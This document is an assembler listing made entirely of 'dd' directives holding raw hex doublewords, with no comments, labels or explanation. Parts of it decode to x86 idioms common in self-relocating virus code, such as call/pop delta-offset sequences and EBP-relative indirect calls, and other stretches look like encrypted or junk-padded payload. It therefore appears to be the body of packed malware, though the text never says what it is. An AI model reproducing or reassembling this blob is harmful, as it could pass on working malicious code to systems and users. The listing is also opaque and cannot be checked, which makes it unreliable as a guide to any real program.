		dd 0D85h, 0B800h, 8D8D0000h, 5EA7062h, 0C88BE1FFh, 4003C38Bh
		dd 0F8053Ch, 508B0000h,	83D3030Ch, 0EA17DDBDh, 840F0005h
		dd 0Eh,	17DD9D8Bh, 858B05EAh, 5EA0BB5h,	52510389h, 79E2858Dh
		dd 0D0FF05EAh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 5EA1A45h
		dd 6D396856h, 0B5FFD41Fh, 5EA238Dh, 0AFA0858Dh,	0D0FF05EDh
		dd 800068h, 52006A00h, 0C08BD0FFh, 13D9BD83h, 750005EAh
		dd 0E5BD8309h, 5EA2Eh, 53501974h, 21B8C08Bh, 89000004h
		dd 0EA076985h, 5C9D8D05h, 0FF05ECDEh, 83585BD3h, 0EA2EE5BDh
		dd 17740005h, 21B85350h, 89000004h, 0EA076985h,	0FD9D8D05h
		dd 0FF05ECDAh, 8B585BD3h, 0DD9D8DC0h, 8B05EA17h, 0FC00B03h
		dd 784h, 8B038B00h, 1889045Bh, 4B41B8h,	0EE800h, 834E0000h
		dd 50A51E0Eh, 44D2059Eh, 9F5A3026h, 0FE9h, 0B6849100h
		dd 0A40A1678h, 3B95B005h, 7D0F3700h, 0C281F55Ah, 5EFCh
		dd 14E9h, 5049CA00h, 0CDEFADB2h, 0B06103D6h, 0C92F4FF1h
		dd 74FCA19Ch, 1778BBB5h, 11E80000h, 1A000000h, 0DCA5D28Ch
		dd 7E4E2AC4h, 4822E508h, 11ED6C30h, 2094C881h, 8B5972E8h
		dd 0E38A5132h, 0CEEE8159h, 0E92BAFE2h, 7, 0BD5DC1B3h, 81E919C6h
		dd 73A94AC6h, 0C18B6635h, 33E4EE81h, 0BF0F228Bh, 0E93289C6h
		dd 11h,	0E2B69EE3h, 0D1DC80B1h,	6F9248Fh, 0B0F2ADC7h, 4EA8378h
		dd 0EB81C28Ah, 1, 2F850Fh, 0BE80000h, 71000000h, 2531C0EBh
		dd 1FD00377h, 0CCB9E926h, 5906B6F9h, 4DE9h, 0A99BD900h
		dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 74CB6E0h,	14E80Ch
		dd 528A0000h, 2ED32595h, 0E35307B9h, 924F3E27h,	6629F4CFh
		dd 0C181982Ah, 66CFEEC4h, 0FF59E959h, 0FF1FFFFFh, 38574F29h
		dd 3B5112A6h, 0BC50F30Ch, 5AD161B2h, 16EBE206h,	5 dup(0)
		dd 3BC0101h, 5F10000h, 0A4DB8056h, 0CDBB9059h, 5048B597h
		dd 8190E88Ah, 7CDD01D1h, 6A006A6Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F33AC353h
		dd 2B91BD89h, 6A05EAh, 820FF88Ah, 2, 858DD58Ah,	5F10222h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A1C35343h
		dd 16E99D89h, 0D38005EAh, 2DBD8B2Fh, 9005EA2Eh,	75FBBF66h
		dd 90EF8A50h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	66C35646h, 29CFCC34h, 0EA16699Dh, 0E8006A05h, 12h
		dd 1AC69C38h, 5FC61BBEh, 0EA62EE74h, 0DA6C6722h, 6A599282h
		dd 11E86000h, 0E4000000h, 347D5A5Eh, 1EFCC3DDh,	234DD54Bh
		dd 717F0EB2h, 8A0F5BF8h, 16h, 11E9h, 0A3FCD600h, 388A2DC1h
		dd 0F947AE3h, 0D816C6F0h, 6661CE5Dh, 95FFFE8Bh,	5EA23E9h
		dd 59BD8B60h, 8105EA0Ch, 0D0E2E1F7h, 57E9617Ah,	60000005h
		dd 24EDB509h, 0E86105EAh, 0
		dd 27ED815Dh, 6A05F102h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 6AF3C351h, 8BFE8B9Ah
		dd 0EA1275BDh, 0EF9D6805h, 8D0F414Dh, 14h, 9E8h, 0F983000h
		dd 86792734h, 0F9BAC575h, 5F03CE3Fh, 3D243481h,	0F414DE0h
		dd 68Ah, 15F38100h, 0FF1C91EFh,	0EA101595h, 15BD8B05h
		dd 8D05EA08h, 0F100EBB5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 7F34C727h
		dd 6A6B4907h, 15952942h, 0C705EA0Fh, 67655206h,	53006A6Dh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 8FD05366h, 46C7F92Dh, 636E6F04h, 159D896Ch, 0C705EA1Bh
		dd 73610846h, 6A0073h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 11466C3h, 0EA1A7995h, 66006A05h
		dd 858DD88Bh, 5F100EBh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0DDC35747h, 11F5BD03h, 669005EAh, 6050F88Bh
		dd 310F5250h, 585ADA8Bh, 9C68BA66h, 6A9061h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66277CC3h
		dd 0BAE3B5BAh, 4BB1DB8Dh, 147D95FFh, 6A05EAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 1EC7E1C3h
		dd 0CE9913Ch, 32000000h, 8744395Ch, 0F47EA222h,	0B4DC90Eh
		dd 4F840FC0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 9936C355h, 26E23D2Bh
		dd 0E9E97AB6h, 347h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 4FC35646h, 7F4ACBEEh,	11A9BD33h, 0E56805EAh
		dd 0E95D203Dh, 9, 0A7853A9Bh, 6D9920D1h, 2434816Bh, 5D203CC9h
		dd 66B7B060h, 612C3BB8h, 101595FFh, 6A05EAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0D3F9CBC3h
		dd 0EBB58DA2h, 6A05F100h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 8192C351h, 0CA253266h
		dd 10E9h, 95788B00h, 0A6685C33h, 66D2FF42h, 37D7B64Dh
		dd 0F1BD8BDCh, 0C705EA0Ch, 34383106h, 1890F36h,	0F5000000h
		dd 370446C7h, 6631342Dh, 0C7D4B3B9h, 846h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0EB63ADC3h, 16618529h, 6A05EAh, 8DD88B66h, 0F100EB85h
		dd 902AB705h, 6050CF8Bh, 8F0F5BB0h, 12h, 0CE8h,	913BE400h
		dd 9EF037CBh, 5CC1D0A5h, 90615F16h, 296D8589h, 95FF05EAh
		dd 5EA147Dh, 0D51BD8Bh,	0C00B05EAh, 27840Fh, 0EF810000h
		dd 0EF7F595h, 202E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0CA5D685Fh, 0DF8B6E59h
		dd 71243481h, 6A6E59CBh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 742C357h, 0DF167792h
		dd 5759D852h, 9999589h,	0FF5B05EAh, 0EA101595h,	52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 26883064h, 0FD8D89BCh, 6605EA2Bh, 8DE4A6BFh,	0F100EBB5h
		dd 918D8905h, 0C705EA02h, 6C694606h, 53006A65h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 9257D983h
		dd 0FE2D4DE7h, 6D0446C7h, 60636E6Fh, 7CBDE781h,	0E9613B8Eh
		dd 12h,	44B17EA9h, 445DFE3Fh, 0D0718D5Bh, 0D9BBDh, 46C77FC9h
		dd 73616C08h, 52006A73h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 3C2A227Fh, 9B5548FDh, 46C7E265h
		dd 0Ch,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh,	24448104h
		dd 1604h, 0C3564600h, 8AC6FE86h, 6A006AD7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A4DAC357h
		dd 0EB858D55h, 0E905F100h, 0Ch,	0CE5A09BFh, 0D3483B1Dh
		dd 70458C03h, 67D9D03h,	0E85005EAh, 13h, 0EDC05747h, 0DE72981Dh
		dd 0FBB2DE2Eh, 63D86C2Dh, 0E986BCA4h, 0Bh, 842ADA44h, 571567D1h
		dd 5FE1577Eh, 0FF240489h, 0EA147D95h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 359C9D1Eh, 5382F52Ah, 0D19D89CCh, 0B05EA05h,	21840FC0h
		dd 33000000h, 0EA29E1BDh, 21E905h, 11E90000h, 60000000h
		dd 0A78ECC45h, 386E4890h, 0FF3D9687h, 0DFDCBA7h, 0FFFAF2E9h
		dd 0DD9529FFh, 8D05EA13h, 0EA7062B5h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 68E5D18h, 0B9E61ADEh, 55EB72F5h, 0B8h, 0E6FFF800h, 24E59523h
		dd 0C18B05EAh, 23719D8Dh, 34B805EAh, 89000014h,	0EA0C3985h
		dd 0E805h, 5580000h, 0Dh, 34E90389h, 14h, 50Ch dup(0)
		dd 8D000000h, 0F11C658Dh, 0D9B70F05h, 0ADD8D89h, 0CB8105EAh
		dd 7A3E9DA6h, 8C0Fh, 85C70000h,	5EA0ACDh, 737Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0ABC35343h, 149FF7DAh
		dd 20C9858Bh, 85C705EAh, 5EA25F5h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BFC35747h
		dd 563A32EDh, 0CDB58BC3h, 0FF05EA0Fh, 0EA1189B5h, 4D9D8B05h
		dd 105EA1Eh, 0EA30199Dh, 1995FF05h, 6A05EA2Ah, 1595FF00h
		dd 8B05EA10h, 0C578EBC0h, 29079FA0h, 85F945A7h,	0B3B601E4h
		dd 2D3E9505h, 88256831h, 0B11D9C05h, 0BB654AA9h, 77AD4AE1h
		dd 8342427Bh, 63DFAD62h, 0C193FE1Dh, 574B303Dh,	4CA8C124h
		dd 43F36D51h, 85C4CD45h, 0C9D53FC1h, 6B26C1FAh,	0F38255E9h
		dd 6DC87C8Eh, 926CBF64h, 94D6647Eh, 0C97541Bh, 227F298Fh
		dd 48FD3C2Ah, 0E2659B55h, 958193BEh, 0F8BAFE12h, 0BEF3327Ch
		dd 2C47ED32h, 0E9CF85D2h, 3Bh, 41BD8B60h, 8305EA2Fh, 0C93304EFh
		dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h
		dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h
		dd 0FFFFD382h, 8BC361FFh, 0EE8C8h, 0AAB80000h, 438E7049h
		dd 0B17624F6h, 0DE62DACCh, 61858Bh, 0B15E05EAh,	0D6C68149h
		dd 0F00006Ah, 94BAC2B7h, 814108BCh, 0F75E02C2h,	0BD8B60BEh
		dd 5EA0801h, 0AA2BB866h, 0F3E8B61h, 68Dh, 0F99D2B00h, 8105EA00h
		dd 6686C0EFh, 0C78B665Bh, 0CCB5C781h, 0D3BB0E34h, 812193CFh
		dd 0C880B8C7h, 7D8D8B5Dh, 8905EA08h, 0EE83F93Eh, 9958904h
		dd 8105EA11h, 1EAh, 0BA850F00h,	66FFFFFFh, 0D442E181h
		dd 8B7ACAFEh, 3F9A80Ah,	88418A4Eh, 0D5ABA80Ah, 881975EAh
		dd 0E7A80Ah, 5DBA8A4Eh,	15C57AEh, 89098A4Eh, 0D5ABA80Ah
		dd 89D075EAh, 182A80Ah,	8E528A4Eh, 60CA80Ah, 8ED48A4Eh
		dd 0D5ABA80Ah, 2F2575EAh, 0DB4A7ED4h, 0FC00310h, 0A751594Ch
		dd 535ACE90h, 9BD12154h, 2F407B08h, 0DB4B33D4h,	17C00310h
		dd 0A751594Ch, 535A7990h, 97D12154h, 2F407B08h,	0DB74E2D4h
		dd 63C00310h, 0A751594Ch, 53651590h, 0E3D12154h, 2F407B08h
		dd 0DB744BD4h, 6FC00310h, 0A751594Ch, 5364A690h, 0FFD12154h
		dd 2F407B08h, 0DB75C5D4h, 7BC00310h, 0A751594Ch, 53642490h
		dd 0F7D12154h, 2F407B08h, 0DB7547D4h, 43C00310h, 0A751594Ch
		dd 5367A290h, 0CFD12154h, 0C3407B08h, 2A5012B8h, 4ECEDF15h
		dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7B49485h, 2AA8ED96h
		dd 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h, 64C6CB15h
		dd 0D5BA4155h, 63CE75EAh, 77D3AAEh, 42848FFFh, 2211AB53h
		dd 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h
		dd 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 6C54A851h
		dd 0A24162ADh, 0EA660351h, 2FEE27BFh, 0DB705DDBh, 12947510h
		dd 0A0D90201h, 0A7B4AEE0h, 0A1EC79AEh, 941AE51h, 0EA122DCh
		dd 73BA8FE4h, 2ADF1037h, 28C82173h, 2FA58CA4h, 2BFD5BEAh
		dd 81508C15h, 86B00098h, 0FBABADA0h, 89EFD2A5h,	57DDA42Ch
		dd 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h,	0A2458AFDh
		dd 0C0D5F251h, 0A7B49545h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh
		dd 30BACC15h, 2FBEB060h, 69CE529Eh, 0B99783FCh,	31EFE2A5h
		dd 0A0D9F9FAh, 0A7B4AEE0h, 9A0D79AEh, 1A232094h, 81328C55h
		dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h
		dd 0C2345495h, 0A2458A15h, 8DBE290Bh, 29407B0Ah, 57DFA024h
		dd 5E004D19h, 2A54A851h, 93D77553h, 0A1514249h,	69CE19CDh
		dd 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A7B4AEE0h, 9A0D79AEh
		dd 1A232094h, 81328C65h, 0DF6E2184h, 0D629215Dh, 5E000174h
		dd 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh
		dd 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h, 0A2454A38h
		dd 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h, 25862DA0h
		dd 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h, 0AE38A1BEh
		dd 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh, 5FDFC8ADh
		dd 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h,	62765826h
		dd 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h,	2A5D1151h
		dd 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h, 91EF4B93h
		dd 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
		dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 229D00B9h
		dd 0E1D4A7B2h, 8860085h, 0EA122DCh, 73BA8FE4h, 0A7FEF8E1h
		dd 53617F9Fh, 0A0855754h, 0DF6E20D6h, 0D629215Dh, 5E000174h
		dd 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh
		dd 0A2458A15h, 2A54AFE9h, 8BD77515h, 2651427Ch,	28C82045h
		dd 2FA58CA4h, 2BF55BEAh, 86949BFBh, 622E8531h, 8050AC59h
		dd 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh,	4ECEDF15h
		dd 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h,	0D5FE0451h
		dd 485DBB87h, 868C2354h, 2FEF4917h, 0DB705DDBh,	0C4947510h
		dd 4CBD28E9h, 88600BEh,	0A358D57Ah, 29247668h, 0E89D5414h
		dd 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh, 0A2457650h
		dd 80F8A851h, 0BA7418EAh, 0E2DFADBBh, 88558B9h,	0EA132DCh
		dd 71BA8FE4h, 0E3941037h, 63CF2173h, 262983FBh,	0C3B9F79Ch
		dd 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h
		dd 0A2B9CFD2h, 8654A851h, 93D775BFh, 0A1514249h, 637726DDh
		dd 0DFCE25FBh, 5D407B31h, 0AAECCE82h, 28EEECE4h, 577F0290h
		dd 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h
		dd 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h, 0B0D90337h
		dd 0A7B4AEE0h, 92327BAEh, 9234B95h, 1FE04FDh, 0DFCC8668h
		dd 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h, 0A15CDDDAh
		dd 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h, 53617F8Fh
		dd 9A875754h, 0E0320A0h, 0DFCE25FBh, 5D407B31h,	0ACECCE82h
		dd 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh,	4ECEDF15h
		dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7B4A86Dh, 2AA8ED96h
		dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h
		dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h,	2A382C5Eh
		dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h
		dd 0D554A851h, 0D7BA8660h, 87CE2559h, 0F1407B08h, 34D032DCh
		dd 71BA8FE4h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h
		dd 2FA5B5ECh, 26DF0746h, 0D551594Fh, 5E0003C6h,	2A5492B8h
		dd 0AE307515h, 0A75CDDAEh, 5358438Fh, 0B0D9FB54h, 0A7B49491h
		dd 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h, 378132DCh
		dd 2F168FE4h, 0DB4A2CCBh, 2B967510h, 2ABD5414h,	0C3458A15h
		dd 0E3A8EDDAh, 0BA4582D7h, 3044h, 75FDED55h, 76F67A5Eh
		dd 56E669A4h, 0AFFD49BCh, 0DFD21FAh, 42FD21D4h,	0A0FD21C3h
		dd 92FD2156h, 88FD2193h, 51FD2171h, 36FD211Fh, 2DFD21A7h
		dd 68FD21FBh, 21FD21D4h, 9AFD21C3h, 0E7FD2148h,	0C4FD218Ch
		dd 0A1FD216Eh, 6DFD211Fh, 0B1FD21A5h, 9DFD21FAh, 95358A25h
		dd 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h
		dd 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h
		dd 75FD7ABCh, 76FD7A5Eh, 75A7EDEFh, 75A7ED67h, 75FD7ACBh
		dd 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh,	700C5D05h
		dd 566FFFA6h, 0F0707F66h, 700C5DBAh, 56AFFF6Ch,	0F0707F03h
		dd 700C5DD6h, 5673FF35h, 0F0707FAFh, 700C5D20h,	56ABFF1Eh
		dd 0F0707F3Ah, 700C5C2Bh, 56A7FF7Bh
		dd 0F0707F88h, 700C5FD0h, 56A3FFD7h, 0F0707FDEh, 700C5FE9h
		dd 569FFF42h, 0F0707F14h, 700C5F66h, 569BFFF0h,	0F0707F4Dh
		dd 700C5FB1h, 568FFFA6h, 0F0707F66h, 700C5F70h,	5697FF6Ch
		dd 0F0707F03h, 700C5FA3h, 5693FF35h, 0F0707FAFh, 700C5FC0h
		dd 568FFF1Eh, 0F0707F3Ah, 700C5CCCh, 567FFF7Bh,	0F0707F88h
		dd 700C5CF4h, 567BFFD7h, 0F0707FDEh, 700C5CFCh,	5677FF42h
		dd 0F0707F14h, 700C5C46h, 568BFFF0h, 0F0707F4Dh, 700C5CB5h
		dd 5687FFA6h, 0F0707F66h, 700C5D4Dh, 5683FF6Ch,	0F0767F03h
		dd 70176248h, 5636FF35h, 0F0767FAFh, 70175706h,	5632FF1Eh
		dd 0B69C7F3Ah, 9D11F1B0h, 75FD7AF2h, 0AA17FB23h, 25F88B98h
		dd 0FDF53FD5h, 84DEB0ADh, 0B7342292h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 700C5FBCh, 56ACFFA0h, 0C87D7FDEh
		dd 700C59C6h, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 5632EF86h
		dd 0FEBD7F4Dh, 7A452B96h, 8AFD7A2Fh, 84DEB502h,	2748F7CEh
		dd 0F8F88BC6h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh,	8AFD7A5Eh
		dd 84DEB5BAh, 2748F792h, 0F8F88BE8h, 8A50FCD1h,	0BC1F2322h
		dd 56ACF787h, 2DA07F4Dh, 2CA32005h, 776D92ECh, 0CD4D7A97h
		dd 8A5779C1h, 84DEB170h, 9D3ED1F7h, 75FD7807h, 0CD9BC2DAh
		dd 0DE9B5954h, 5636EFD0h, 0DE9B7F66h, 77959208h, 360B7AE5h
		dd 6E8872F3h, 5636EF86h, 0C54D7F4Dh, 8AAD7954h,	84DEB1BAh
		dd 0F69B2092h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h
		dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h,	0FE4DBA07h
		dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h
		dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh,	75FF7B1Ah
		dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h
		dd 0FF4DBA07h, 0BE6885B5h, 2FF88BD1h, 51FD5F1Fh, 133F71DAh
		dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h
		dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h
		dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h
		dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h,	75FCF323h
		dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh
		dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 5632EF0Dh
		dd 0C0707F88h, 700C592Ah, 7F518A5Dh, 0E002D02Ch, 700C595Ch
		dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h
		dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h,	0CD9B851Ah
		dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh
		dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h
		dd 75059243h, 2D4D7A5Eh, 0B6577925h, 56B5FF69h,	0C87D7F3Ah
		dd 700C59ADh, 0F8EC0FF3h, 84DEC0FCh, 61152AB9h,	9DFD7A5Ch
		dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh
		dd 56B5F787h, 0C87D7F4Dh, 700C5916h, 0F8F10F2Fh, 84DEC012h
		dd 0DE152ACEh, 0B6FD7AE4h, 75FD7E4Ah, 0BA688579h, 0F8F88B9Fh
		dd 84D56DC3h, 6DF9F02Ah, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh
		dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 84DEB1CBh, 514ACE2Ah
		dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h,	75FD7A27h
		dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 5636EF68h, 917D7F3Ah
		dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h
		dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 84DEB570h,	0DB60F7F7h
		dd 0F8F88B5Ah, 0CD3E39A0h, 75FD7A4Eh, 5632EFD0h, 0B57E7F66h
		dd 8935F1CEh, 5636EF1Ah, 97577F03h, 0BE15B98Eh,	0FF028543h
		dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh,	8908831Dh
		dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 5217FB04h,	0FCF88B07h
		dd 0CF7D86EAh, 700C5901h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h
		dd 5632E843h, 0FCBD7FAFh, 84DEA9ADh, 0F835F192h, 84D58179h
		dd 0BE6F85E0h, 0FDF88BD1h, 801F3C7Fh, 75FD6D04h, 0A67F795Eh
		dd 35F88B0Ch, 5D12E01Ah, 0B67E7F3Ah, 22FEF3E1h,	75FD644Bh
		dd 0A6777979h, 0F8F88B9Fh, 84D5A7ECh, 2B59892Ah, 75FD722Fh
		dd 0BA6F85CBh, 0F6F88BC6h, 85897E0Ah, 72447C71h, 7DFD7ABCh
		dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh,	75FD765Ch
		dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh
		dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh
		dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h
		dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h
		dd 2FFD7A2Fh, 5CF39016h, 0CF707F3Ah, 700C5932h,	0CCF50F79h
		dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 562AE7A2h,	497D7F66h
		dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh
		dd 3217FB04h, 0F8F88B06h, 84DEAD25h, 7D80F1CEh,	75FD725Ch
		dd 145989F2h, 75F9B8B0h, 0A240F7DCh, 46F88B7Dh,	75F5C3EFh
		dd 0DF0E7A97h, 0F89DB9AAh, 84DEAD58h, 74C2FBF7h, 0FC7B78h
		dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h,	0A240F7ABh
		dd 0CDF88BC6h, 75FD7AF3h, 75FD72C0h, 145789BCh,	0FE3DF19Dh
		dd 9178F7EFh, 8AF88BB4h, 0E9CA8BD0h, 2Ah, 2404C7h, 0E8000000h
		dd 0
		dd 0C7ED815Dh, 8B05F129h, 89042444h, 0EA0B5185h, 0B805h
		dd 8D8D0000h, 5EA4C21h,	54B8E1FFh, 8D000067h, 0F12A6B8Dh
		dd 61B58B05h, 8905EA08h, 0EA0ADD8Dh, 0F5BD3305h, 0C705EA09h
		dd 0EA0ACD85h, 6B4005h,	2BE6600h, 0F585C761h, 5EA25h, 51000000h
		dd 68D0Fh, 0B50B0000h, 5EA1D69h, 95B5FF5Fh, 6A05EA0Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 498C352h,	0BF0FBA9Dh, 71BB66D6h, 1995FFF5h
		dd 0BA05EA2Ah, 4DE8A15Dh, 6BC248BBh, 0FF006A19h, 0EA101595h
		dd 0EBC08B05h, 351CF62Bh, 11E8C4AAh, 0ED2268C8h, 253A3B77h
		dd 0C7553C42h, 0AB34E372h, 11A0B9Ch, 0CCAD510Ch, 8FB03FF6h
		dd 0F1A3AC0Dh, 7E5B7F58h, 5E8h,	97ACC100h, 0BD898F34h
		dd 5EA0259h, 0E9BD8B5Ah, 8105EA02h, 68D5C2h, 0B8F28B00h
		dd 78FB7236h, 6BCAF081h, 0BD8978FBh, 5EA2515h, 0BD8B0A8Bh
		dd 5EA251Dh, 7665F181h,	66605F8Ah, 8501F08Bh, 5EA0655h
		dd 0F7C18161h, 5759BCBFh, 5EF6B70Fh, 0AE10F181h, 0A896685h
		dd 28D19589h, 0EA8105EAh, 23F30B6Eh, 0BE9h, 0C163A300h
		dd 113154EDh, 43186637h, 0B6AC281h, 0CE923F3h, 82000000h
		dd 0AE520D2Dh, 0B4A38119h, 835736BAh, 850F01E8h, 27h, 0BE9h
		dd 73830900h, 0A2F699CBh, 436C7ECAh, 41E9h, 32C99D00h
		dd 0DAB2779Eh, 8E3B6BC8h, 942D3394h, 0E8D201E8h, 11h, 6157FEF9h
		dd 7460457Ch, 0C2147109h, 0D5C3C4E3h, 799589F5h, 5E05EA09h
		dd 0FFFF4FE9h, 0EA9825FFh, 817BCC00h, 0AEF9BCADh, 0A2E9A336h
		dd 0E3000000h, 649ECA6Dh, 0EC1642F3h, 609ACE6Fh, 0EE1440F1h
		dd 3D9BCF6Ch, 0E794C6BCh, 560549B3h, 0DB7CF802h, 5100758Fh
		dd 8F3DAF05h, 1D4791B5h, 6D2D8408h, 0BFE14DECh,	0F35FFE71h
		dd 14123C9Fh, 781D52E5h, 74EE4014h, 5666EEC6h, 7AD94117h
		dd 0A999F500h, 11D385E8h, 99E71714h, 0AD16D1DAh, 1693131Dh
		dd 0C4Ah, 52081300h, 8A0403BBh,	0CA69AF81h, 34EB6D6Fh
		dd 0BE5B9298h, 3BDC1812h, 0BA599D97h, 3DDE1C16h, 0A4579B91h
